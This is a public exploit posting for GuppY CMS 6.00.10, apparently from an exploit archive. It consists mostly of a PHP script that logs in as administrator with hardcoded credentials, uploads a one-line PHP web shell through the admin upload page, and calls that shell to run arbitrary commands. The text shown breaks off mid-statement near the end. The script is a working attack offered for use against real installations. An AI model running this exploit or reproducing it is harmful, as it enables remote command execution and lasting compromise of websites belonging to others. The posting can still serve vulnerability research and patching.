Authored by Chokri Hammedi

GuppY CMS version 6.00.10 suffers from an authenticated remote shell upload vulnerability.

# Exploit Title: GuppY 6.00.10 CMS Remote Code Execution
# Date: Sep 30, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.freeguppy.org/
# Software Link:
https://www.freeguppy.org/fgy6dn.php?lng=en&pg=279927&tconfig=0#z2
# Version: 6.00.10
# Tested on: Linux

#!/usr/bin/php

<?php

$username = "Admin"; //Administrator username
$password = "rose1337"; //Administrator password


$options = getopt('u:c:');

if(!isset($options['u'], $options['c']))
die("n GuppY 6.00.10 CMS Remote Code Execution n Author: Chokri Hammedi
n n Usage : php exploit.php -u http://target.org/ -c whoaminn

n");

$target = $options['u'];

$command = $options['c'];

// Administrator login

$cookie="cookie.txt";
$url = "{$target}guppy/connect.php";

$postdata = "connect=on&uuser=old&pseudo=".$username."&uid=".$password;
$curlObj = curl_init();

curl_setopt($curlObj, CURLOPT_URL, $url);
curl_setopt($curlObj, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curlObj, CURLOPT_HEADER, 1);
curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt ($curlObj, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($curlObj, CURLOPT_POST, 1);
CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);
CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);
CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);
curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");
curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");
$result = curl_exec($curlObj);


// uploading shell

$url2 = "{$target}guppy/admin/admin.php?lng=en&pg=upload";

$post='------WebKitFormBoundarygA1APFcUlkIaWal4
Content-Disposition: form-data; name="rep"

file
------WebKitFormBoundarygA1APFcUlkIaWal4
Content-Disposition: form-data; name="ficup"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET["cmd"]); ?>

------WebKitFormBoundarygA1APFcUlkIaWal4--
';

$headers = array(


'Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarygA1APFcUlkIaWal4',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',

'Accept-Encoding: gzip, deflate',
'Accept-Language: en-US,en;q=0.9'
);
curl_setopt($curlObj, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curlObj, CURLOPT_URL, $url2);
curl_setopt($curlObj, CURLOPT_POSTFIELDS, $post);
curl_setopt($curlObj, CURLOPT_POST, true);
curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);
CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);
CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);
CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);
curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");
curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");

$data = curl_exec($curlObj);


// Executing the shell


$shell = "{$target}guppy/file/shell.php?cmd=" .$command;
curl_setopt($curlObj, CURLOPT_URL, $shell);
curl_setopt($curlObj, CURLOPT_HTTPHEADER, array('Content-Type:
application/x-www-form-urlencoded'));
curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, False);
CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
curl_setopt($curlObj, CURLOPT_HEADER, False);
curl_setopt($curlObj, CURLOPT_POST, false);

$exec_shell = curl_exec($curlObj);

$code = curl_getinfo($curlObj, CURLINFO_HTTP_CODE);

if($code != 200) {
echo "nn e[5m